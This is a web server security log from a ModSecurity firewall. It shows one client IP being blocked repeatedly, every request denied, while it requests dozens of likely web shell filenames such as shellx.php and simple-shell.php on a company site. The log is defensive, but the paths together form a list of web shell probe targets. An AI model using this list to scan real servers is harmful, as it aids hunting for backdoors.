[Mon Apr 13 03:10:47.165893 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24461] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advuN2yJMmaONUqF0tCqeQAAARM"]
[Mon Apr 13 03:10:47.794649 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:24536] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advuN29Py-Y-9VQ02eHeHwAAABQ"]
[Mon Apr 13 03:10:48.626446 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24541] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advuOGyJMmaONUqF0tCqfgAAAQ0"]
[Mon Apr 13 03:10:49.267310 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:24542] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advuOT9vCsshNhLmCiCN0gAAAEs"]
[Mon Apr 13 03:10:49.796669 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24429] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advuOWyJMmaONUqF0tCqhAAAAQc"]
[Mon Apr 13 03:10:50.470426 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:24431] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advuOmyJMmaONUqF0tCqiQAAAQo"]
[Mon Apr 13 03:10:50.959423 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:24514] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advuOg0nq-t9pXyV1fy-AQAAAMw"]
[Mon Apr 13 03:10:51.391745 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:24325] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advuOw0nq-t9pXyV1fy-AgAAAMY"]
[Mon Apr 13 03:10:51.838704 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:24392] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advuO2yJMmaONUqF0tCqjAAAAQM"]
[Mon Apr 13 03:10:52.308050 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:24562] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advuPGyJMmaONUqF0tCqjQAAAQ8"]
[Mon Apr 13 03:10:52.732175 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:24568] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advuPGyJMmaONUqF0tCqjwAAAQI"]
[Mon Apr 13 03:10:53.215025 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:24416] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advuPWyJMmaONUqF0tCqkQAAAQ4"]
[Mon Apr 13 03:10:53.765937 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:24535] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advuPQ0nq-t9pXyV1fy-BgAAANU"]
[Mon Apr 13 03:10:54.305398 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:24402] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advuPmyJMmaONUqF0tCqlQAAAQo"]
[Mon Apr 13 03:10:54.915529 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:24500] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advuPmyJMmaONUqF0tCqlgAAARY"]
[Mon Apr 13 03:10:55.429134 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:24467] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advuP29Py-Y-9VQ02eHeLAAAAAs"]
[Mon Apr 13 03:10:56.119729 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:24504] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advuQG9Py-Y-9VQ02eHeMQAAABQ"]
[Mon Apr 13 03:10:56.835362 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:24546] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advuQD9vCsshNhLmCiCN2gAAAFg"]
[Mon Apr 13 03:10:57.874617 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:24573] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advuQWyJMmaONUqF0tCqlwAAAQE"]
[Mon Apr 13 03:10:58.364813 2026] [:error] [pid 31606:tid 31722] [client 20.151.218.28:24492] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advuQj9vCsshNhLmCiCN4wAAAFA"]
[Mon Apr 13 03:10:59.002932 2026] [:error] [pid 31605:tid 31648] [client 20.151.218.28:24497] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advuQ29Py-Y-9VQ02eHeNwAAAAU"]
[Mon Apr 13 03:10:59.765099 2026] [:error] [pid 32010:tid 32013] [client 20.151.218.28:24507] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advuQw0nq-t9pXyV1fy-EAAAAME"]
[Mon Apr 13 03:11:00.272967 2026] [:error] [pid 54671:tid 54685] [client 20.151.218.28:24545] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advuRGyJMmaONUqF0tCqmgAAAQo"]
[Mon Apr 13 03:11:00.835773 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:24496] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advuRGjn_I-KYTWngjJNsAAAAI8"]
[Mon Apr 13 03:11:01.301522 2026] [:error] [pid 31606:tid 31727] [client 20.151.218.28:24474] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advuRT9vCsshNhLmCiCN8AAAAFU"]
[Mon Apr 13 03:11:02.060845 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:24482] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advuRg0nq-t9pXyV1fy-EwAAAMg"]
[Mon Apr 13 03:11:02.616138 2026] [:error] [pid 31605:tid 31644] [client 20.151.218.28:24476] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advuRm9Py-Y-9VQ02eHeOwAAAAE"]
[Mon Apr 13 03:11:03.046853 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:24417] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advuR2yJMmaONUqF0tCqoAAAARU"]
[Mon Apr 13 03:11:03.600631 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:24526] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advuR2yJMmaONUqF0tCqowAAARI"]
[Mon Apr 13 03:11:04.085775 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24397] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advuSGyJMmaONUqF0tCqpQAAAQg"]
[Mon Apr 13 03:11:04.890921 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24460] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advuSGyJMmaONUqF0tCqrAAAARM"]
[Mon Apr 13 03:11:05.734187 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:24408] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advuSWyJMmaONUqF0tCqsgAAARI"]
[Mon Apr 13 03:11:06.442428 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:24564] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advuSmyJMmaONUqF0tCqswAAAQU"]
[Mon Apr 13 03:11:06.990252 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:24393] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advuSmyJMmaONUqF0tCquQAAARM"]
[Mon Apr 13 03:11:07.426439 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:24540] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advuS2yJMmaONUqF0tCquwAAARQ"]
[Mon Apr 13 03:11:07.957642 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:24324] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advuS2yJMmaONUqF0tCqvwAAARE"]
[Mon Apr 13 03:11:08.450938 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:24555] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advuTGyJMmaONUqF0tCqxAAAAQg"]
[Mon Apr 13 03:11:08.911688 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:24456] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advuTGyJMmaONUqF0tCqyQAAARc"]
[Mon Apr 13 03:11:16.877460 2026] [:error] [pid 31606:tid 31714] [client 20.151.218.28:24528] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advuVD9vCsshNhLmCiCOEQAAAEg"]
[Mon Apr 13 03:11:17.348076 2026] [:error] [pid 31607:tid 31758] [client 20.151.218.28:24558] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advuVWjn_I-KYTWngjJNyAAAAJU"]
[Mon Apr 13 03:11:17.833592 2026] [:error] [pid 32010:tid 32034] [client 20.151.218.28:24572] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advuVQ0nq-t9pXyV1fy-MQAAANY"]
[Mon Apr 13 03:11:18.268488 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:24391] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advuVg0nq-t9pXyV1fy-MgAAAMA"]
[Mon Apr 13 03:11:18.811605 2026] [:error] [pid 31607:tid 31744] [client 20.151.218.28:24387] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advuVmjn_I-KYTWngjJNzAAAAIc"]
[Mon Apr 13 03:11:19.226169 2026] [:error] [pid 31607:tid 31759] [client 20.151.218.28:24464] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advuV2jn_I-KYTWngjJNzQAAAJY"]
[Mon Apr 13 03:11:19.706601 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:24454] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advuVw0nq-t9pXyV1fy-OAAAAMc"]
[Mon Apr 13 03:11:20.440560 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:24574] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advuWG9Py-Y-9VQ02eHeVgAAABA"]
[Mon Apr 13 03:11:20.906973 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24559] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advuWGyJMmaONUqF0tCq7gAAAQ0"]
[Mon Apr 13 03:11:21.364068 2026] [:error] [pid 54671:tid 54684] [client 20.151.218.28:24322] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advuWWyJMmaONUqF0tCq8AAAAQk"]
[Mon Apr 13 03:11:21.982060 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:24404] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advuWW9Py-Y-9VQ02eHeXwAAAAo"]
[Mon Apr 13 03:11:22.471401 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:24471] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advuWmyJMmaONUqF0tCq9QAAAQc"]
[Mon Apr 13 03:11:22.932301 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:24412] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advuWmyJMmaONUqF0tCq9wAAAQU"]
[Mon Apr 13 03:11:23.516746 2026] [:error] [pid 31606:tid 31707] [client 20.151.218.28:24571] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advuWz9vCsshNhLmCiCOEwAAAEE"]
[Mon Apr 13 03:11:23.943250 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:24495] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advuWz9vCsshNhLmCiCOGAAAAFY"]
[Mon Apr 13 03:11:24.545381 2026] [:error] [pid 31607:tid 31759] [client 20.151.218.28:24520] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advuXGjn_I-KYTWngjJN2AAAAJY"]
[Mon Apr 13 03:11:24.982584 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:24409] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advuXGyJMmaONUqF0tCq_AAAAQ0"]
[Mon Apr 13 03:11:25.475708 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:24487] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advuXWjn_I-KYTWngjJN2gAAAII"]
